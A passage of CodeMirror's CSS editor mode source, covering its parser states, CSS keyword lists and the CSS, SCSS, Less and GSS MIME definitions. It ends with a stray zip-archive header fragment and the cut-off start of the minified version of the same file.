  }

  var states = {};

  states.top = function(type, stream, state) {
    if (type == "{") {
      return pushContext(state, stream, "block");
    } else if (type == "}" && state.context.prev) {
      return popContext(state);
    } else if (supportsAtComponent && /@component/i.test(type)) {
      return pushContext(state, stream, "atComponentBlock");
    } else if (/^@(-moz-)?document$/i.test(type)) {
      return pushContext(state, stream, "documentTypes");
    } else if (/^@(media|supports|(-moz-)?document|import)$/i.test(type)) {
      return pushContext(state, stream, "atBlock");
    } else if (/^@(font-face|counter-style)/i.test(type)) {
      state.stateArg = type;
      return "restricted_atBlock_before";
    } else if (/^@(-(moz|ms|o|webkit)-)?keyframes$/i.test(type)) {
      return "keyframes";
    } else if (type && type.charAt(0) == "@") {
      return pushContext(state, stream, "at");
    } else if (type == "hash") {
      override = "builtin";
    } else if (type == "word") {
      override = "tag";
    } else if (type == "variable-definition") {
      return "maybeprop";
    } else if (type == "interpolation") {
      return pushContext(state, stream, "interpolation");
    } else if (type == ":") {
      return "pseudo";
    } else if (allowNested && type == "(") {
      return pushContext(state, stream, "parens");
    }
    return state.context.type;
  };

  states.block = function(type, stream, state) {
    if (type == "word") {
      var word = stream.current().toLowerCase();
      if (propertyKeywords.hasOwnProperty(word)) {
        override = "property";
        return "maybeprop";
      } else if (nonStandardPropertyKeywords.hasOwnProperty(word)) {
        override = "string-2";
        return "maybeprop";
      } else if (allowNested) {
        override = stream.match(/^\s*:(?:\s|$)/, false) ?
"property" : "tag";
        return "block";
      } else {
        override += " error";
        return "maybeprop";
      }
    } else if (type == "meta") {
      return "block";
    } else if (!allowNested && (type == "hash" || type ==
"qualifier")) {
      override = "error";
      return "block";
    } else {
      return states.top(type, stream, state);
    }
  };

  states.maybeprop = function(type, stream, state) {
    if (type == ":") return pushContext(state, stream,
"prop");
    return pass(type, stream, state);
  };

  states.prop = function(type, stream, state) {
    if (type == ";") return popContext(state);
    if (type == "{" && allowNested) return
pushContext(state, stream, "propBlock");
    if (type == "}" || type == "{") return
popAndPass(type, stream, state);
    if (type == "(") return pushContext(state, stream,
"parens");

    if (type == "hash" &&
!/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(stream.current()))
{
      override += " error";
    } else if (type == "word") {
      wordAsValue(stream);
    } else if (type == "interpolation") {
      return pushContext(state, stream, "interpolation");
    }
    return "prop";
  };

  states.propBlock = function(type, _stream, state) {
    if (type == "}") return popContext(state);
    if (type == "word") { override = "property"; return
"maybeprop"; }
    return state.context.type;
  };

  states.parens = function(type, stream, state) {
    if (type == "{" || type == "}") return
popAndPass(type, stream, state);
    if (type == ")") return popContext(state);
    if (type == "(") return pushContext(state, stream,
"parens");
    if (type == "interpolation") return pushContext(state,
stream, "interpolation");
    if (type == "word") wordAsValue(stream);
    return "parens";
  };

  states.pseudo = function(type, stream, state) {
    if (type == "meta") return "pseudo";

    if (type == "word") {
      override = "variable-3";
      return state.context.type;
    }
    return pass(type, stream, state);
  };

  states.documentTypes = function(type, stream, state) {
    if (type == "word" &&
documentTypes.hasOwnProperty(stream.current())) {
      override = "tag";
      return state.context.type;
    } else {
      return states.atBlock(type, stream, state);
    }
  };

  states.atBlock = function(type, stream, state) {
    if (type == "(") return pushContext(state, stream,
"atBlock_parens");
    if (type == "}" || type == ";") return
popAndPass(type, stream, state);
    if (type == "{") return popContext(state) &&
pushContext(state, stream, allowNested ? "block" :
"top");

    if (type == "interpolation") return pushContext(state,
stream, "interpolation");

    if (type == "word") {
      var word = stream.current().toLowerCase();
      if (word == "only" || word == "not" || word ==
"and" || word == "or")
        override = "keyword";
      else if (mediaTypes.hasOwnProperty(word))
        override = "attribute";
      else if (mediaFeatures.hasOwnProperty(word))
        override = "property";
      else if (mediaValueKeywords.hasOwnProperty(word))
        override = "keyword";
      else if (propertyKeywords.hasOwnProperty(word))
        override = "property";
      else if (nonStandardPropertyKeywords.hasOwnProperty(word))
        override = "string-2";
      else if (valueKeywords.hasOwnProperty(word))
        override = "atom";
      else if (colorKeywords.hasOwnProperty(word))
        override = "keyword";
      else
        override = "error";
    }
    return state.context.type;
  };

  states.atComponentBlock = function(type, stream, state) {
    if (type == "}")
      return popAndPass(type, stream, state);
    if (type == "{")
      return popContext(state) && pushContext(state, stream,
allowNested ? "block" : "top", false);
    if (type == "word")
      override = "error";
    return state.context.type;
  };

  states.atBlock_parens = function(type, stream, state) {
    if (type == ")") return popContext(state);
    if (type == "{" || type == "}") return
popAndPass(type, stream, state, 2);
    return states.atBlock(type, stream, state);
  };

  states.restricted_atBlock_before = function(type, stream, state) {
    if (type == "{")
      return pushContext(state, stream, "restricted_atBlock");
    if (type == "word" && state.stateArg ==
"@counter-style") {
      override = "variable";
      return "restricted_atBlock_before";
    }
    return pass(type, stream, state);
  };

  states.restricted_atBlock = function(type, stream, state) {
    if (type == "}") {
      state.stateArg = null;
      return popContext(state);
    }
    if (type == "word") {
      if ((state.stateArg == "@font-face" &&
!fontProperties.hasOwnProperty(stream.current().toLowerCase())) ||
          (state.stateArg == "@counter-style" &&
!counterDescriptors.hasOwnProperty(stream.current().toLowerCase())))
        override = "error";
      else
        override = "property";
      return "maybeprop";
    }
    return "restricted_atBlock";
  };

  states.keyframes = function(type, stream, state) {
    if (type == "word") { override = "variable"; return
"keyframes"; }
    if (type == "{") return pushContext(state, stream,
"top");
    return pass(type, stream, state);
  };

  states.at = function(type, stream, state) {
    if (type == ";") return popContext(state);
    if (type == "{" || type == "}") return
popAndPass(type, stream, state);
    if (type == "word") override = "tag";
    else if (type == "hash") override = "builtin";
    return "at";
  };

  states.interpolation = function(type, stream, state) {
    if (type == "}") return popContext(state);
    if (type == "{" || type == ";") return
popAndPass(type, stream, state);
    if (type == "word") override = "variable";
    else if (type != "variable" && type != "("
&& type != ")") override = "error";
    return "interpolation";
  };

  return {
    startState: function(base) {
      return {tokenize: null,
              state: inline ? "block" : "top",
              stateArg: null,
              context: new Context(inline ? "block" :
"top", base || 0, null)};
    },

    token: function(stream, state) {
      if (!state.tokenize && stream.eatSpace()) return null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style && typeof style == "object") {
        type = style[1];
        style = style[0];
      }
      override = style;
      if (type != "comment")
        state.state = states[state.state](type, stream, state);
      return override;
    },

    indent: function(state, textAfter) {
      var cx = state.context, ch = textAfter &&
textAfter.charAt(0);
      var indent = cx.indent;
      if (cx.type == "prop" && (ch == "}" || ch
== ")")) cx = cx.prev;
      if (cx.prev) {
        if (ch == "}" && (cx.type == "block" ||
cx.type == "top" ||
                          cx.type == "interpolation" || cx.type
== "restricted_atBlock")) {
          // Resume indentation from parent context.
          cx = cx.prev;
          indent = cx.indent;
        } else if (ch == ")" && (cx.type ==
"parens" || cx.type == "atBlock_parens") ||
            ch == "{" && (cx.type == "at" ||
cx.type == "atBlock")) {
          // Dedent relative to current context.
          indent = Math.max(0, cx.indent - indentUnit);
        }
      }
      return indent;
    },

    electricChars: "}",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    blockCommentContinue: " * ",
    lineComment: lineComment,
    fold: "brace"
  };
});

  function keySet(array) {
    var keys = {};
    for (var i = 0; i < array.length; ++i) {
      keys[array[i].toLowerCase()] = true;
    }
    return keys;
  }

  var documentTypes_ = [
    "domain", "regexp", "url",
"url-prefix"
  ], documentTypes = keySet(documentTypes_);

  var mediaTypes_ = [
    "all", "aural", "braille",
"handheld", "print", "projection",
"screen",
    "tty", "tv", "embossed"
  ], mediaTypes = keySet(mediaTypes_);

  var mediaFeatures_ = [
    "width", "min-width", "max-width",
"height", "min-height", "max-height",
    "device-width", "min-device-width",
"max-device-width", "device-height",
    "min-device-height", "max-device-height",
"aspect-ratio",
    "min-aspect-ratio", "max-aspect-ratio",
"device-aspect-ratio",
    "min-device-aspect-ratio",
"max-device-aspect-ratio", "color",
"min-color",
    "max-color", "color-index",
"min-color-index", "max-color-index",
    "monochrome", "min-monochrome",
"max-monochrome", "resolution",
    "min-resolution", "max-resolution",
"scan", "grid", "orientation",
    "device-pixel-ratio", "min-device-pixel-ratio",
"max-device-pixel-ratio",
    "pointer", "any-pointer", "hover",
"any-hover"
  ], mediaFeatures = keySet(mediaFeatures_);

  var mediaValueKeywords_ = [
    "landscape", "portrait", "none",
"coarse", "fine", "on-demand",
"hover",
    "interlace", "progressive"
  ], mediaValueKeywords = keySet(mediaValueKeywords_);

  var propertyKeywords_ = [
    "align-content", "align-items",
"align-self", "alignment-adjust",
    "alignment-baseline", "anchor-point",
"animation", "animation-delay",
    "animation-direction", "animation-duration",
"animation-fill-mode",
    "animation-iteration-count", "animation-name",
"animation-play-state",
    "animation-timing-function", "appearance",
"azimuth", "backdrop-filter",
    "backface-visibility", "background",
"background-attachment",
    "background-blend-mode", "background-clip",
"background-color",
    "background-image", "background-origin",
"background-position",
    "background-position-x", "background-position-y",
"background-repeat",
    "background-size", "baseline-shift",
"binding", "bleed", "block-size",
    "bookmark-label", "bookmark-level",
"bookmark-state", "bookmark-target",
    "border", "border-bottom",
"border-bottom-color", "border-bottom-left-radius",
    "border-bottom-right-radius",
"border-bottom-style", "border-bottom-width",
    "border-collapse", "border-color",
"border-image", "border-image-outset",
    "border-image-repeat", "border-image-slice",
"border-image-source",
    "border-image-width", "border-left",
"border-left-color", "border-left-style",
    "border-left-width", "border-radius",
"border-right", "border-right-color",
    "border-right-style", "border-right-width",
"border-spacing", "border-style",
    "border-top", "border-top-color",
"border-top-left-radius",
    "border-top-right-radius", "border-top-style",
"border-top-width",
    "border-width", "bottom",
"box-decoration-break", "box-shadow",
"box-sizing",
    "break-after", "break-before",
"break-inside", "caption-side",
"caret-color",
    "clear", "clip", "color",
"color-profile", "column-count",
"column-fill",
    "column-gap", "column-rule",
"column-rule-color", "column-rule-style",
    "column-rule-width", "column-span",
"column-width", "columns", "contain",
    "content", "counter-increment",
"counter-reset", "crop", "cue",
"cue-after",
    "cue-before", "cursor", "direction",
"display", "dominant-baseline",
    "drop-initial-after-adjust",
"drop-initial-after-align",
    "drop-initial-before-adjust",
"drop-initial-before-align", "drop-initial-size",
    "drop-initial-value", "elevation",
"empty-cells", "fit", "fit-position",
    "flex", "flex-basis", "flex-direction",
"flex-flow", "flex-grow",
    "flex-shrink", "flex-wrap", "float",
"float-offset", "flow-from", "flow-into",
    "font", "font-family",
"font-feature-settings", "font-kerning",
    "font-language-override", "font-optical-sizing",
"font-size",
    "font-size-adjust", "font-stretch",
"font-style", "font-synthesis",
    "font-variant", "font-variant-alternates",
"font-variant-caps",
    "font-variant-east-asian",
"font-variant-ligatures", "font-variant-numeric",
    "font-variant-position", "font-variation-settings",
"font-weight", "gap",
    "grid", "grid-area", "grid-auto-columns",
"grid-auto-flow", "grid-auto-rows",
    "grid-column", "grid-column-end",
"grid-column-gap", "grid-column-start",
    "grid-gap", "grid-row", "grid-row-end",
"grid-row-gap", "grid-row-start",
    "grid-template", "grid-template-areas",
"grid-template-columns",
    "grid-template-rows", "hanging-punctuation",
"height", "hyphens", "icon",
    "image-orientation", "image-rendering",
"image-resolution", "inline-box-align",
    "inset", "inset-block",
"inset-block-end", "inset-block-start",
"inset-inline",
    "inset-inline-end", "inset-inline-start",
"isolation", "justify-content",
    "justify-items", "justify-self", "left",
"letter-spacing", "line-break",
    "line-height", "line-height-step",
"line-stacking", "line-stacking-ruby",
    "line-stacking-shift", "line-stacking-strategy",
"list-style",
    "list-style-image", "list-style-position",
"list-style-type", "margin",
    "margin-bottom", "margin-left",
"margin-right", "margin-top", "marks",
    "marquee-direction", "marquee-loop",
"marquee-play-count", "marquee-speed",
    "marquee-style", "max-block-size",
"max-height", "max-inline-size",
    "max-width", "min-block-size",
"min-height", "min-inline-size", "min-width",
    "mix-blend-mode", "move-to", "nav-down",
"nav-index", "nav-left", "nav-right",
    "nav-up", "object-fit",
"object-position", "offset", "offset-anchor",
    "offset-distance", "offset-path",
"offset-position", "offset-rotate",
    "opacity", "order", "orphans",
"outline", "outline-color", "outline-offset",
    "outline-style", "outline-width",
"overflow", "overflow-style",
    "overflow-wrap", "overflow-x",
"overflow-y", "padding", "padding-bottom",
    "padding-left", "padding-right",
"padding-top", "page", "page-break-after",
    "page-break-before", "page-break-inside",
"page-policy", "pause",
    "pause-after", "pause-before",
"perspective", "perspective-origin", "pitch",
    "pitch-range", "place-content",
"place-items", "place-self", "play-during",
    "position", "presentation-level",
"punctuation-trim", "quotes",
    "region-break-after", "region-break-before",
"region-break-inside",
    "region-fragment", "rendering-intent",
"resize", "rest", "rest-after",
    "rest-before", "richness", "right",
"rotate", "rotation", "rotation-point",
    "row-gap", "ruby-align", "ruby-overhang",
"ruby-position", "ruby-span",
    "scale", "scroll-behavior",
"scroll-margin", "scroll-margin-block",
    "scroll-margin-block-end",
"scroll-margin-block-start", "scroll-margin-bottom",
    "scroll-margin-inline", "scroll-margin-inline-end",
    "scroll-margin-inline-start", "scroll-margin-left",
"scroll-margin-right",
    "scroll-margin-top", "scroll-padding",
"scroll-padding-block",
    "scroll-padding-block-end",
"scroll-padding-block-start",
    "scroll-padding-bottom", "scroll-padding-inline",
"scroll-padding-inline-end",
    "scroll-padding-inline-start",
"scroll-padding-left", "scroll-padding-right",
    "scroll-padding-top", "scroll-snap-align",
"scroll-snap-type",
    "shape-image-threshold", "shape-inside",
"shape-margin", "shape-outside",
    "size", "speak", "speak-as",
"speak-header", "speak-numeral",
    "speak-punctuation", "speech-rate",
"stress", "string-set", "tab-size",
    "table-layout", "target", "target-name",
"target-new", "target-position",
    "text-align", "text-align-last",
"text-combine-upright", "text-decoration",
    "text-decoration-color", "text-decoration-line",
"text-decoration-skip",
    "text-decoration-skip-ink",
"text-decoration-style", "text-emphasis",
    "text-emphasis-color", "text-emphasis-position",
"text-emphasis-style",
    "text-height", "text-indent",
"text-justify", "text-orientation",
    "text-outline", "text-overflow",
"text-rendering", "text-shadow",
    "text-size-adjust", "text-space-collapse",
"text-transform",
    "text-underline-position", "text-wrap",
"top", "transform", "transform-origin",
    "transform-style", "transition",
"transition-delay", "transition-duration",
    "transition-property",
"transition-timing-function", "translate",
    "unicode-bidi", "user-select",
"vertical-align", "visibility",
"voice-balance",
    "voice-duration", "voice-family",
"voice-pitch", "voice-range", "voice-rate",
    "voice-stress", "voice-volume", "volume",
"white-space", "widows", "width",
    "will-change", "word-break",
"word-spacing", "word-wrap", "writing-mode",
"z-index",
    // SVG-specific
    "clip-path", "clip-rule", "mask",
"enable-background", "filter", "flood-color",
    "flood-opacity", "lighting-color",
"stop-color", "stop-opacity",
"pointer-events",
    "color-interpolation",
"color-interpolation-filters",
    "color-rendering", "fill",
"fill-opacity", "fill-rule",
"image-rendering",
    "marker", "marker-end", "marker-mid",
"marker-start", "shape-rendering", "stroke",
    "stroke-dasharray", "stroke-dashoffset",
"stroke-linecap", "stroke-linejoin",
    "stroke-miterlimit", "stroke-opacity",
"stroke-width", "text-rendering",
    "baseline-shift", "dominant-baseline",
"glyph-orientation-horizontal",
    "glyph-orientation-vertical", "text-anchor",
"writing-mode"
  ], propertyKeywords = keySet(propertyKeywords_);

  var nonStandardPropertyKeywords_ = [
    "border-block", "border-block-color",
"border-block-end",
    "border-block-end-color", "border-block-end-style",
"border-block-end-width",
    "border-block-start", "border-block-start-color",
"border-block-start-style",
    "border-block-start-width", "border-block-style",
"border-block-width",
    "border-inline", "border-inline-color",
"border-inline-end",
    "border-inline-end-color",
"border-inline-end-style",
    "border-inline-end-width", "border-inline-start",
"border-inline-start-color",
    "border-inline-start-style",
"border-inline-start-width",
    "border-inline-style", "border-inline-width",
"margin-block",
    "margin-block-end", "margin-block-start",
"margin-inline", "margin-inline-end",
    "margin-inline-start", "padding-block",
"padding-block-end",
    "padding-block-start", "padding-inline",
"padding-inline-end",
    "padding-inline-start", "scroll-snap-stop",
"scrollbar-3d-light-color",
    "scrollbar-arrow-color", "scrollbar-base-color",
"scrollbar-dark-shadow-color",
    "scrollbar-face-color",
"scrollbar-highlight-color", "scrollbar-shadow-color",
    "scrollbar-track-color",
"searchfield-cancel-button", "searchfield-decoration",
    "searchfield-results-button",
"searchfield-results-decoration", "shape-inside",
"zoom"
  ], nonStandardPropertyKeywords = keySet(nonStandardPropertyKeywords_);

  var fontProperties_ = [
    "font-display", "font-family", "src",
"unicode-range", "font-variant",
     "font-feature-settings", "font-stretch",
"font-weight", "font-style"
  ], fontProperties = keySet(fontProperties_);

  var counterDescriptors_ = [
    "additive-symbols", "fallback",
"negative", "pad", "prefix",
"range",
    "speak-as", "suffix", "symbols",
"system"
  ], counterDescriptors = keySet(counterDescriptors_);

  var colorKeywords_ = [
    "aliceblue", "antiquewhite", "aqua",
"aquamarine", "azure", "beige",
    "bisque", "black", "blanchedalmond",
"blue", "blueviolet", "brown",
    "burlywood", "cadetblue", "chartreuse",
"chocolate", "coral", "cornflowerblue",
    "cornsilk", "crimson", "cyan",
"darkblue", "darkcyan", "darkgoldenrod",
    "darkgray", "darkgreen", "darkkhaki",
"darkmagenta", "darkolivegreen",
    "darkorange", "darkorchid", "darkred",
"darksalmon", "darkseagreen",
    "darkslateblue", "darkslategray",
"darkturquoise", "darkviolet",
    "deeppink", "deepskyblue", "dimgray",
"dodgerblue", "firebrick",
    "floralwhite", "forestgreen", "fuchsia",
"gainsboro", "ghostwhite",
    "gold", "goldenrod", "gray",
"grey", "green", "greenyellow",
"honeydew",
    "hotpink", "indianred", "indigo",
"ivory", "khaki", "lavender",
    "lavenderblush", "lawngreen",
"lemonchiffon", "lightblue", "lightcoral",
    "lightcyan", "lightgoldenrodyellow",
"lightgray", "lightgreen", "lightpink",
    "lightsalmon", "lightseagreen",
"lightskyblue", "lightslategray",
    "lightsteelblue", "lightyellow", "lime",
"limegreen", "linen", "magenta",
    "maroon", "mediumaquamarine",
"mediumblue", "mediumorchid", "mediumpurple",
    "mediumseagreen", "mediumslateblue",
"mediumspringgreen", "mediumturquoise",
    "mediumvioletred", "midnightblue",
"mintcream", "mistyrose", "moccasin",
    "navajowhite", "navy", "oldlace",
"olive", "olivedrab", "orange",
"orangered",
    "orchid", "palegoldenrod", "palegreen",
"paleturquoise", "palevioletred",
    "papayawhip", "peachpuff", "peru",
"pink", "plum", "powderblue",
    "purple", "rebeccapurple", "red",
"rosybrown", "royalblue", "saddlebrown",
    "salmon", "sandybrown", "seagreen",
"seashell", "sienna", "silver",
"skyblue",
    "slateblue", "slategray", "snow",
"springgreen", "steelblue", "tan",
    "teal", "thistle", "tomato",
"turquoise", "violet", "wheat",
"white",
    "whitesmoke", "yellow", "yellowgreen"
  ], colorKeywords = keySet(colorKeywords_);

  var valueKeywords_ = [
    "above", "absolute", "activeborder",
"additive", "activecaption", "afar",
    "after-white-space", "ahead", "alias",
"all", "all-scroll", "alphabetic",
"alternate",
    "always", "amharic", "amharic-abegede",
"antialiased", "appworkspace",
    "arabic-indic", "armenian", "asterisks",
"attr", "auto", "auto-flow",
"avoid", "avoid-column", "avoid-page",
    "avoid-region", "background",
"backwards", "baseline", "below",
"bidi-override", "binary",
    "bengali", "blink", "block",
"block-axis", "bold", "bolder",
"border", "border-box",
    "both", "bottom", "break",
"break-all", "break-word", "bullets",
"button", "button-bevel",
    "buttonface", "buttonhighlight",
"buttonshadow", "buttontext", "calc",
"cambodian",
    "capitalize", "caps-lock-indicator",
"caption", "captiontext", "caret",
    "cell", "center", "checkbox",
"circle", "cjk-decimal",
"cjk-earthly-branch",
    "cjk-heavenly-stem", "cjk-ideographic",
"clear", "clip", "close-quote",
    "col-resize", "collapse", "color",
"color-burn", "color-dodge", "column",
"column-reverse",
    "compact", "condensed", "contain",
"content", "contents",
    "content-box", "context-menu",
"continuous", "copy", "counter",
"counters", "cover", "crop",
    "cross", "crosshair", "currentcolor",
"cursive", "cyclic", "darken",
"dashed", "decimal",
    "decimal-leading-zero", "default",
"default-button", "dense",
"destination-atop",
    "destination-in", "destination-out",
"destination-over", "devanagari",
"difference",
    "disc", "discard", "disclosure-closed",
"disclosure-open", "document",
    "dot-dash", "dot-dot-dash",
    "dotted", "double", "down",
"e-resize", "ease", "ease-in",
"ease-in-out", "ease-out",
    "element", "ellipse", "ellipsis",
"embed", "end", "ethiopic",
"ethiopic-abegede",
    "ethiopic-abegede-am-et", "ethiopic-abegede-gez",
"ethiopic-abegede-ti-er",
    "ethiopic-abegede-ti-et",
"ethiopic-halehame-aa-er",
    "ethiopic-halehame-aa-et",
"ethiopic-halehame-am-et",
    "ethiopic-halehame-gez", "ethiopic-halehame-om-et",
    "ethiopic-halehame-sid-et",
"ethiopic-halehame-so-et",
    "ethiopic-halehame-ti-er",
"ethiopic-halehame-ti-et", "ethiopic-halehame-tig",
    "ethiopic-numeric", "ew-resize",
"exclusion", "expanded", "extends",
"extra-condensed",
    "extra-expanded", "fantasy", "fast",
"fill", "fixed", "flat", "flex",
"flex-end", "flex-start", "footnotes",
    "forwards", "from", "geometricPrecision",
"georgian", "graytext", "grid",
"groove",
    "gujarati", "gurmukhi", "hand",
"hangul", "hangul-consonant", "hard-light",
"hebrew",
    "help", "hidden", "hide",
"higher", "highlight", "highlighttext",
    "hiragana", "hiragana-iroha",
"horizontal", "hsl", "hsla", "hue",
"icon", "ignore",
    "inactiveborder", "inactivecaption",
"inactivecaptiontext", "infinite",
    "infobackground", "infotext", "inherit",
"initial", "inline", "inline-axis",
    "inline-block", "inline-flex",
"inline-grid", "inline-table", "inset",
"inside", "intrinsic", "invert",
    "italic", "japanese-formal",
"japanese-informal", "justify", "kannada",
    "katakana", "katakana-iroha", "keep-all",
"khmer",
    "korean-hangul-formal", "korean-hanja-formal",
"korean-hanja-informal",
    "landscape", "lao", "large",
"larger", "left", "level",
"lighter", "lighten",
    "line-through", "linear",
"linear-gradient", "lines", "list-item",
"listbox", "listitem",
    "local", "logical", "loud",
"lower", "lower-alpha", "lower-armenian",
    "lower-greek", "lower-hexadecimal",
"lower-latin", "lower-norwegian",
    "lower-roman", "lowercase", "ltr",
"luminosity", "malayalam", "match",
"matrix", "matrix3d",
    "media-controls-background",
"media-current-time-display",
    "media-fullscreen-button", "media-mute-button",
"media-play-button",
    "media-return-to-realtime-button",
"media-rewind-button",
    "media-seek-back-button",
"media-seek-forward-button", "media-slider",
    "media-sliderthumb",
"media-time-remaining-display", "media-volume-slider",
    "media-volume-slider-container",
"media-volume-sliderthumb", "medium",
    "menu", "menulist", "menulist-button",
"menulist-text",
    "menulist-textfield", "menutext",
"message-box", "middle", "min-intrinsic",
    "mix", "mongolian", "monospace",
"move", "multiple", "multiply",
"myanmar", "n-resize",
    "narrower", "ne-resize", "nesw-resize",
"no-close-quote", "no-drop",
    "no-open-quote", "no-repeat", "none",
"normal", "not-allowed", "nowrap",
    "ns-resize", "numbers", "numeric",
"nw-resize", "nwse-resize", "oblique",
"octal", "opacity", "open-quote",
    "optimizeLegibility", "optimizeSpeed",
"oriya", "oromo", "outset",
    "outside", "outside-shape", "overlay",
"overline", "padding", "padding-box",
    "painted", "page", "paused",
"persian", "perspective", "plus-darker",
"plus-lighter",
    "pointer", "polygon", "portrait",
"pre", "pre-line", "pre-wrap",
"preserve-3d",
    "progress", "push-button",
"radial-gradient", "radio", "read-only",
    "read-write", "read-write-plaintext-only",
"rectangle", "region",
    "relative", "repeat",
"repeating-linear-gradient",
    "repeating-radial-gradient", "repeat-x",
"repeat-y", "reset", "reverse",
    "rgb", "rgba", "ridge",
"right", "rotate", "rotate3d",
"rotateX", "rotateY",
    "rotateZ", "round", "row",
"row-resize", "row-reverse", "rtl",
"run-in", "running",
    "s-resize", "sans-serif", "saturation",
"scale", "scale3d", "scaleX",
"scaleY", "scaleZ", "screen",
    "scroll", "scrollbar", "scroll-position",
"se-resize", "searchfield",
    "searchfield-cancel-button",
"searchfield-decoration",
    "searchfield-results-button",
"searchfield-results-decoration", "self-start",
"self-end",
    "semi-condensed", "semi-expanded",
"separate", "serif", "show",
"sidama",
    "simp-chinese-formal", "simp-chinese-informal",
"single",
    "skew", "skewX", "skewY",
"skip-white-space", "slide",
"slider-horizontal",
    "slider-vertical", "sliderthumb-horizontal",
"sliderthumb-vertical", "slow",
    "small", "small-caps", "small-caption",
"smaller", "soft-light", "solid",
"somali",
    "source-atop", "source-in", "source-out",
"source-over", "space", "space-around",
"space-between", "space-evenly", "spell-out",
"square",
    "square-button", "start", "static",
"status-bar", "stretch", "stroke",
"sub",
    "subpixel-antialiased", "super",
"sw-resize", "symbolic", "symbols",
"system-ui", "table",
    "table-caption", "table-cell",
"table-column", "table-column-group",
    "table-footer-group", "table-header-group",
"table-row", "table-row-group",
    "tamil",
    "telugu", "text", "text-bottom",
"text-top", "textarea", "textfield",
"thai",
    "thick", "thin", "threeddarkshadow",
"threedface", "threedhighlight",
    "threedlightshadow", "threedshadow",
"tibetan", "tigre", "tigrinya-er",
    "tigrinya-er-abegede", "tigrinya-et",
"tigrinya-et-abegede", "to", "top",
    "trad-chinese-formal", "trad-chinese-informal",
"transform",
    "translate", "translate3d", "translateX",
"translateY", "translateZ",
    "transparent", "ultra-condensed",
"ultra-expanded", "underline", "unset",
"up",
    "upper-alpha", "upper-armenian",
"upper-greek", "upper-hexadecimal",
    "upper-latin", "upper-norwegian",
"upper-roman", "uppercase", "urdu",
"url",
    "var", "vertical", "vertical-text",
"visible", "visibleFill", "visiblePainted",
    "visibleStroke", "visual", "w-resize",
"wait", "wave", "wider",
    "window", "windowframe", "windowtext",
"words", "wrap", "wrap-reverse",
"x-large", "x-small", "xor",
    "xx-large", "xx-small"
  ], valueKeywords = keySet(valueKeywords_);

  var allWords =
documentTypes_.concat(mediaTypes_).concat(mediaFeatures_).concat(mediaValueKeywords_)
   
.concat(propertyKeywords_).concat(nonStandardPropertyKeywords_).concat(colorKeywords_)
    .concat(valueKeywords_);
  CodeMirror.registerHelper("hintWords", "css",
allWords);

  function tokenCComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (maybeEnd && ch == "/") {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ["comment", "comment"];
  }

  CodeMirror.defineMIME("text/css", {
    documentTypes: documentTypes,
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    fontProperties: fontProperties,
    counterDescriptors: counterDescriptors,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    tokenHooks: {
      "/": function(stream, state) {
        if (!stream.eat("*")) return false;
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
    },
    name: "css"
  });

  CodeMirror.defineMIME("text/x-scss", {
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    fontProperties: fontProperties,
    allowNested: true,
    lineComment: "//",
    tokenHooks: {
      "/": function(stream, state) {
        if (stream.eat("/")) {
          stream.skipToEnd();
          return ["comment", "comment"];
        } else if (stream.eat("*")) {
          state.tokenize = tokenCComment;
          return tokenCComment(stream, state);
        } else {
          return ["operator", "operator"];
        }
      },
      ":": function(stream) {
        if (stream.match(/\s*\{/, false))
          return [null, null]
        return false;
      },
      "$": function(stream) {
        stream.match(/^[\w-]+/);
        if (stream.match(/^\s*:/, false))
          return ["variable-2", "variable-definition"];
        return ["variable-2", "variable"];
      },
      "#": function(stream) {
        if (!stream.eat("{")) return false;
        return [null, "interpolation"];
      }
    },
    name: "css",
    helperType: "scss"
  });

  CodeMirror.defineMIME("text/x-less", {
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    fontProperties: fontProperties,
    allowNested: true,
    lineComment: "//",
    tokenHooks: {
      "/": function(stream, state) {
        if (stream.eat("/")) {
          stream.skipToEnd();
          return ["comment", "comment"];
        } else if (stream.eat("*")) {
          state.tokenize = tokenCComment;
          return tokenCComment(stream, state);
        } else {
          return ["operator", "operator"];
        }
      },
      "@": function(stream) {
        if (stream.eat("{")) return [null,
"interpolation"];
        if
(stream.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/i,
false)) return false;
        stream.eatWhile(/[\w\\\-]/);
        if (stream.match(/^\s*:/, false))
          return ["variable-2", "variable-definition"];
        return ["variable-2", "variable"];
      },
      "&": function() {
        return ["atom", "atom"];
      }
    },
    name: "css",
    helperType: "less"
  });

  CodeMirror.defineMIME("text/x-gss", {
    documentTypes: documentTypes,
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    fontProperties: fontProperties,
    counterDescriptors: counterDescriptors,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    supportsAtComponent: true,
    tokenHooks: {
      "/": function(stream, state) {
        if (!stream.eat("*")) return false;
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
    },
    name: "css",
    helperType: "gss"
  });

});
PKE��[����h�hcodemirror/mode/css/css.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var
b={},c=0;c<a.length;++c)b[a[c].toLowerCase()]=!0;return b}function
c(a,b){for(var
